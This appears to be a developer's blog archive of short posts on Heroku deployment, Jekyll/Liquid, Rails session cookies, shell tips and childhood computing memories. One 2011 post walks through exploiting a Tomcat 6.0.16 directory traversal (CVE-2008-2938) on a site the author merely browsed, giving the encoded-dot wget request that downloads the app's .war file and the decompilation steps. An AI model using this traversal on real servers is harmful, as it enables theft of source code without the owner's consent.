Next most naturally thing to do was to tune the TV set for terrestrial broadcast. This step used to be the most natural step, but after Astro monopolized our airwave, it is now left forgotten. Nevertheless, worth a try. And… not working. We didn’t have cable for the antenna to boost the signal.

When nothing else works, there’s only one thing you can do. Tweet about it.

That led me to fromBAR formerly known as sportLEMON. Live sports aggregator plagued with ad banners. We found few links. One of them worked really well. So we plugged the machine to the big screen and start cheering!

It was all pixelated, but all is well when your team is winning. End result: Malaysia won 2-0.

Aspen Shutdown, Serve Static HTML From Cedar And run:detached

2012-11-27T00:00:00+00:00

27 November 2012

Heroku is shutting down the Aspen stack effective November 26, 2012. I have few apps still running on Aspen, but most of them are trial apps, so I never bothered to migrate to Cedar. Except, today I realized Codelovr’s site was down. It was still on Aspen!

I quickly pulled down the code. After quick check, it was a rails app during the early days. But it was serving just a single html file with one stylesheet. There’s no reason why we should continue with that. I decided to just serve static html directly. A quick search showed there are multiple ways to serve static html on Cedar stack. I chose to use Apache to serve it. I got the tutorial from http://kennethreitz.com/static-sites-on-heroku-cedar.html

First we must make sure index.php exists. I copied my index.html to index.php. I’ve copied my html and stylesheet to new directory.

  cp index.{html,php}

To understand why we need index.php, we can have a look at how heroku-buildpack-php detect it. The code is here https://github.com/heroku/heroku-buildpack-php/blob/master/bin/detect. The exact line is

  if [ -f $1/index.php ]; then

Then we turn off php engine

  echo 'php_flag engine off' > .htaccess

Commit everything, create new Cedar stack and push!

  git init . 
  git add .
  git commit -am 'initial commit'
  heroku apps:create 
  git push heroku
  heroku open

If everything is cool we can delete the Aspen app and add back our custom domain to the new Cedar app.

Another thing I learned today is how to run task in background. There are places where port 5000 is blocked and running heroku run rake db:migrate always ended up with time out connecting to process. To bypass that, we just run it in background with run:detached

  heroku run:detached rake db:migrate
  
  Output:
  Running `rake db:migrate` detached... up, run.4271
  Use `heroku logs -p run.4271` to view the output.
  
  heroku logs -p run.4271 # To view log

jekyll And liquid Loops

2012-11-25T00:00:00+00:00

25 November 2012

I’ve been using jekyll to run this site since 3 years ago. But I didn’t do much with it. It was just a single page site. Surprisingly enough, this site is a PageRank 3 site! Now who said content is king? :P

Now that I’m starting to convert this site to a blog, I’ve been using jekyll as it’s intended to be. I got to learn a bit more about it. Specifically the syntaxes for liquid, template engine used in jekyll.

Since this is a blog, having atom.xml for feed is not a bad idea. I just copied (yes, this pattern starting to emerge now) from Tom Preston-Werner’s blog and edited it a bit.

  <?xml version="1.0" encoding="utf-8"?>
  <feed xmlns="http://www.w3.org/2005/Atom">
  
   <title>{{ site.title }} - {{ site.tagline }}</title>
   <link href="{{ site.production_url }}/atom.xml" rel="self"/>
   <link href="{{ site.production_url }}"/>
   <updated>{{ site.time | date_to_xmlschema }}</updated>
   <id>{{ site.production_url }}</id>
   <author>
     <name>{{ site.author.name }}</name>
     <email>{{ site.author.email }}</email>
   </author>
  
   {% for post in site.posts %}
   <entry>
     <title>{{ post.title }}</title>
     <link href="{{ site.production_url }}{{ post.url }}"/>
     <updated>{{ post.date | date_to_xmlschema }}</updated>
     <id>{{ site.production_url }}{{ post.id }}</id>
     <content type="html">{{ post.content | xml_escape }}</content>
   </entry>
   {% endfor %}
  
  </feed>

But if you look at the loop

{% for post in site.posts %}

That will list down all posts since the dawn of time. I don’t have a problem with it yet. At this time of writing, I only have 4 posts. This could be a problem if I’m persistent enough to churn out new post every few days. I decided not to be pragmatic and solve this non-problem now.

A quick look here https://github.com/Shopify/liquid/wiki/Liquid-for-Designers shows that I can just add limit to the loop.

{% for post in site.posts limit:10 %}

There you go. Non-problem solved.

NOTE: If you want to use <code> tag to display liquid syntax like I did above, then you’ll have to temporarily disable tag processing. You can use {% raw %} tag.

{% raw %}
  {% for post in site.posts limit:10 %}
{% endraw %}

Credit goes to this Stack Overflow answer.

heroku_san Deploy Strategies And Bundle Blunder

2012-11-23T00:00:00+00:00

23 November 2012

What’s annoying about heroku_san is it will run migration all the time. Not cool. Most of the times I don’t have any migration to run. Few seconds wasted waiting for the environment to load yet no migration needed.

Good thing heroku_san allows custom deploy strategy. Here’s the complete tutorial. Here’s my short version. All I want is for the deployment to just push the commit and that’s it. No need for migration and restart. So I just cut as paste from the tutorial to /lib/tasks/heroku.rake

  require 'heroku_san'
  
  class MyStrategy < HerokuSan::Deploy::Base
    def deploy
      super
    end
  end
  
  HerokuSan.project = HerokuSan::Project.new(Rails.root.join("config","heroku.yml"), :deploy => MyStrategy)
  ...

Come to think of if, I might as well just do this instead:

  require 'heroku_san'
  
  HerokuSan.project = HerokuSan::Project.new(Rails.root.join("config","heroku.yml"), :deploy => HerokuSan::Deploy::Base)
  ...

Since I’m not adding anything to it. That’s it. Now deploying to heroku should not invoke rake db:migrate.

Except, it didn’t work. The gotcha? Checkout my Gemfile

  group :development do
    gem 'heroku_san'
    ...
  end

Yeah, no heroku_san on production. I then just add simple check.

  if Rails.env.development?
    require 'heroku_san'
    
    class MyStrategy < HerokuSan::Deploy::Base
      def deploy
        super
      end
    end
  
    HerokuSan.project = HerokuSan::Project.new(Rails.root.join("config","heroku.yml"), :deploy => MyStrategy)
  end

That should do it. Now we can deploy.

How I Use heroku_san With auto_tagger For Deployment

2012-11-21T00:00:00+00:00

21 November 2012

In SAYS, we use capistrano-gitflow in our deployment recipe. It provides us with tagging and logging workflow. Made our life easier.

Currently I’m working on one of our client’s project. It require us to deploy on heroku. I would love to use the same deployment workflow that we use in SAYS. My initial plan was to write simple rake task to tag and push to heroku. Of course, I googled it up first, see how others approached deployment on heroku.

Most solutions that I found are using production/staging branch. Which is not what I wanted. That’s when I stumbled upon heroku_san. I remember reading about it but didn’t bother to test it out. There’s a good tutorial here. But I don’t use CI for this project, so I simplify it a bit.

I added tag to heroku.yml for production stage, staging remains the same.

  production:
    tag: staging/*
    ...

Then I just paste from the example to heroku.rake, I removed ci from STAGES.

  STAGES = %w[staging production]

  def create_and_push(stage)
    auto_tag = AutoTagger::Base.new(stages: STAGES, stage: stage, verbose: true, push_refs: false, refs_to_keep: 100)
    tag = auto_tag.create_ref(auto_tag.last_ref_from_previous_stage.try(:sha))
    sh "git push origin #{tag.name}"
    auto_tag.delete_locally
    auto_tag.delete_on_remote
  end
  
  task :before_deploy do
    sh "git fetch --tags"
  end
  
  task :after_deploy do
    each_heroku_app do |stage|
      create_and_push(stage.name)
    end
  end
  
  namespace :autotag do
    desc "Create an autotag for stage, default: #{STAGES.first}"
    task :create, :stage do |t, args|
      create_and_push(args[:stage] || STAGES.first)
    end
  end

That’s it. rake staging deploy will deploy to staging, then tag it with staging/datetime. rake production deploy will deploy anything tagged as staging/\*.

How I Use Two Dynos On heroku For Free

2012-11-08T00:00:00+00:00

08 November 2012

I use heroku all the time. I don’t need to bother with sysadmin stuff. But mainly because it’s free :) Free is limited to one dyno, and to whatever free add-ons that you want to use, but that is good enough most of the times.

Except this time, it’s not good enough. I need to run delay jobs, and that would require another dyno for the worker. That will cost roughly $34.50 a month. Quite a lot for a simple fun not-for-profit project. I could potentially use other queues add-ons with pay per use costing, but I don’t feel like changing the app.

So what I did instead is, to start another Heroku app with one worker only. No web dyno. Then all I need to do is change the DATABASE_URL to be the same as my current web app.

  heroku config --app app-web # list down the config
  heroku config:add DATABASE_URL=mysql2://app-web.database.url --app app-worker

Now I’ll have to deploy to both app. Something like this should do it

  git remote add app-worker git@heroku.com:app-worker.git # one time only, add app-worker to git
  git push heroku && git push heroku-worker # deploy to both

Heroku will spin down idle web dyno. Worker dyno should be up all the time. I didn’t specifically test this out, but from https://devcenter.heroku.com/articles/dynos#dyno-idling it only talks about web dyno. And so far all my jobs are completed.

How To Steal Java Web App Source Code From Apache Tomcat 6.0.16

2011-08-03T00:00:00+00:00

03 August 2011

There I was minding my own business, browsing few sites when I got this 404 error:

HTTP Status 404 - /innocent/doesnotexists

type Status report
message /innocent/doesnotexists
description The requested resource (/innocent/doesnotexists) is not available.

Apache Tomcat/6.0.16

I saw 404s all the time it’s not even funny. Instinctively I just want to hit back, but then I saw Apache Tomcat/6.0.16. This particular version was released on 8th February 2008. 3 years ago. Interesting. Maybe, there’s something we can do here.

I’m not familiar with Apache Tomcat at all, and I don’t code Java. Maybe it’s a good time to learn then. First thing is just to search for Apache Tomcat/6.0.16 vulnerabilities. The lowest hanging fruit was Directory Traversal, CVE-2008-2938. It was stated in official Apache Tomcat 6 vulnerabilities page that the root cause of this vulnerability is JVM, not Tomcat itself. But whatever, it seems simple enough, worth a shot.

This entry on Security Tracker: Tomcat UTF-8 ‘AllowLinking’ Java Bug Lets Remote Users Traverse the Directory shows how to exploit this. You just need encoded dots %c0%ae%c0%ae which represents ... Seems a no brainer.

Ok, so now we know we probably could download files. But we don’t know what file we want to pull. Time to learn about Java and Tomcat.

Deploying Web Applications to Tomcat from O’Reilly shows us exactly that. It was a post from 2001, but quick check on other search results showed that the deployment hasn’t changed much. The most interesting part was on page 5 where we learned that Java Web App file would be packaged to a single .war file and stored in the web app’s directory. Wait, does that mean we can just download .war file and we would get the complete source code of the app? Really?

I guess there’s only one way to find out then.

  wget 'http://example.com/innocent/%c0%ae%c0%ae/innocent.war'
    
  Output
  --REMOVED--  http://example.com/innocent/%c0%ae%c0%ae/innocent.war
  Connecting to example.com... connected.
  HTTP request sent, awaiting response... 200 OK
  Length: 91599064 (87M)
  Saving to: `innocent.war'

  2% [==>                                                         ] 2,206,947    728K/s

Nice. Now to extract the package we can use jar command.

  jar xvf innocent.war

That will extract everything to current directory. While it is nice to see everything is in there, we can’t do anything much because all the .class file are unreadable to human being. There are many decompilers out there. Back then I used jad but it’s no longer being maintained. Mirror download available from http://www.varaneckas.com/jad/. Today I just downloaded JD-GUI, that works too.

UPDATE: This will decompile .class to .java in src directory using jad.

  find . -iname "*.class" | xargs /path/to/jad -r -sjava -d src
  cd src

Shared Session Cookies Gotchas

2011-06-28T00:00:00+00:00

28 June 2011

Originally posted in Ruby on Rails - Malaysia (English) group.

Today I made a mistake. I pushed a line of code that effectively made the users can neither login nor logout. So I thought I’d shared the problem and solution with you guys

Intention

We want the session cookie to be shared within the subdomain. For example, forum.domain.com could access session cookie from www.domain.com. This allows seamless integration between multiple apps.

How-to

It’s easy to achieve that. You’ll just have to modify config/initializers/session_store.rb and add :domain option. Like so,

  MyApp::Application.config.session_store :cookie_store, :key => '_my_app_session', :domain => ".domain.com"

That works, but it’s not so cool since you’ll have to hardcode domain name. Better solution would be to use :all value

  MyApp::Application.config.session_store :cookie_store, :key => '_my_app_session', :domain => :all

That will make session cookie’s host to be .domain.com or if your domain is google.com, it’ll be .google.com. Cookie’s host will follow what ever you current domain.

Problem

They are two major problems when you deploy the code. First, current users now locked to their current session state. If they are logged in, they can’t logout and vice versa. This happens because we now have two session cookies with same name _my_app_session but with a different host. And when you have that situation, cookie with matching host will take precedence. Hence, we are reading the old cookie (the one with host www.domain.com) which is wrong, so our session is messed up.

The user could fix this by clearing up the browser’s cookies. But that’s totally uncool. Also, this won’t affect the new user, so that, on the other hand, is cool.

The second problem is when working on the development environment, visiting http://localhost:3000 won’t work. Because we are expecting the cookie host to be .localhost but it’s always saved as localhost. It will always be invalid.

Solution

The solution is obvious, you just need to delete the old cookie and just read the new one. But somehow the implementation wasn’t that obvious to me at first. My first option was to add a line of code that will delete the old cookie. It works, but it’s not good because it’ll be a stale code after a while. That line will never be used once all old cookies delete, and never used on for users.

I’ve searched high and low for a better solution when it suddenly hits me. I don’t need to delete the old cookie, I just need to make sure the app won’t read it. Just invalidate the old cookie. Since I have a conflicted name, why don’t just change the name? So I did, and it works like a charm. My new session_store.rb looks like this:

  MyApp::Application.config.session_store :cookie_store, :key => '_new_my_app_session', :domain => :all

For second problem, a quick workaround is to not use localhost. Use alias like app.local, local.my etc. Or just make sure shared domain not used in development mode, like so:

  MyApp::Application.config.session_store :cookie_store, :key => '_new_my_app_session', :domain => Rails.env.development? ? nil : :all

That’s about it. Now the app runs smoothly for old and new users.

Cheers!

How To Quickly Search Your Terminal History

2011-01-01T00:00:00+00:00

Early 2011

One of a benefit of pair programming is you got to learn things that you don’t even know you need to learn. When I paired with Mike Mazur, one of the Pivotal Labs¹ engineer, I got to learn a very useful trick.

When I want to refer to commands that I’ve used before, I’d do this:

  history | grep previous_command

Then I’d cut and paste the result to execute. Not ideal, but it worked for me. Because I didn’t know better.

Until he showed me the right way of doing it. Comes reverse-i-search. All you need to do is press ctrl + r in terminal and start typing the command you want to search for. For example, I want to search for server:

  ctrl + r
  serv
  => (reverse-i-search)`serv': jekyll --server --auto

If that’s not the command you looking for, just keep tapping ctrl + r until you find the right one. Then just press enter to execute. Handy!

Also, it would be better if you increase your history size. Just add these lines to your profile file, one of those .bashrc, .bash_profile or .profile.

  HISTFILESIZE=1000000000
  HISTSIZE=1000000

The size is up to you, I got those values from lifehacker.

Now called Neo ↩

Python Simple HTTP Server

2010-09-03T00:00:00+00:00

03 September 2010

Every now and then I need to serve something over HTTP. Most of the times, it was to test out JavaScript with callbacks. It won’t run by double clicking the sample HTML file, you need to serve everything.

With python simple HTTP server, all I need to do is just drop in the directory and run:

  python -m SimpleHTTPServer

  Output:
  Serving HTTP on 0.0.0.0 port 8000 ...

It will start HTTP server on default port 8000. To use other port, just add the port number:

  python -m SimpleHTTPServer 8001

  Output:
  Serving HTTP on 0.0.0.0 port 8001 ...

Head up to http://localhost:8001 to view it. Simple, easy, straight to the point.

The Day I Got My First Email Account

1998-01-01T00:00:00+00:00

Circa 1998, probably beginning of the year

From 1994 to 1998 I had limited access to a computer. I was in a boarding school up North, and computer class wasn’t part of the curriculum. It didn’t bother me much at that time because I was busy harnessing up physical hacking skill. I’ll write more about that.

We did have a computer lab back then. It’s outdated and used by few student clubs to print out their newsletters. To my knowledge, there was no other use than that. Only in 1998 the lab reopened to the students and refurnished with new machines. And get this, Internet connection included! Fun!

But we didn’t get to use it! Computer class was only for students in Form 1 to Form 3. Nothing for Form 5. Which was fine at that moment, I didn’t think much about it. Until one day, I saw my friend wrote down somecoolhandle@hotmail.com in fiery typeface on the table. Yes, it’s was an obvious association, fire and hotmail. I think the conversation went something like this:

“Hey, what’s that?”
“My email. Cool eh!”
“Email? What’s that?”
“You can send mail to other people, on COMPUTER!”
“What? You can do that? That’s so cool man. Where can I get one?”
“Register on the Internet. It’s free.”
“What? It’s free? I want! I want!”

* Okay, maybe it wasn’t much like that, but you got my point.

Later that day I summoned one of the junior students who was good with the computer. He knew a lot about the Internet. I asked him to get me a Hotmail account. He did it the next day during his computer class. I don’t remember what was his name, I also don’t remember what was my first Hotmail username. In fact, I don’t remember if I ever used it.

That was how I got my first email account, not fancy at all. I wasn’t even in front of the computer when it happened.

The Hack That Changed My World

1993-01-01T00:00:00+00:00

Circa 1993, probably end of the year

By this time, computers weren’t something new to me. I knew my way around them. But like any other kid, a computer was just a slick gaming machine. Nothing more.

Few years back the school did teach us how to code. At that time, I didn’t realize what it meant. To me, coding was just an activity that you do with the machine. Much like playing games. I did not know the real potential.

Imagine my surprise when I found out that I could get the machine to do what I want.

My uncle brought back a machine. I don’t remember what the model was, but I’m pretty sure it was running Microsoft Windows 3.1 because I remember the File Manager. There was a game called First Samurai. I spent almost all my time in front of the machine, playing First Samurai, maybe Minesweeper once in a while :). After a while, I started to get bored. Mainly because of the endless repetition of the same thing from one level to the next (or maybe because I got stuck in one level).

One day, instead of playing games, I sat there and browsed around with File Manager. Nothing made sense much to me. But somehow I found myself staring at First Samurai’s directory. I started to poke around. There was a file that looks impressive, it was a config file or maybe flat file database. Inside that file, there was something that resembled current game level status. I don’t remember the exact details. But when I changed the level number inside that file and started the game, I saw an entirely new level loaded up!

What!? Was that for real?

That was the aha! moment for me. To understand the real potential. It wasn’t just about the game, at that moment I knew that this can be done on anything in the machine. I could make them do what I want.

And at that moment too, something snapped. I completely lost interest in playing computer games. The gamer was gone. A hacker was born.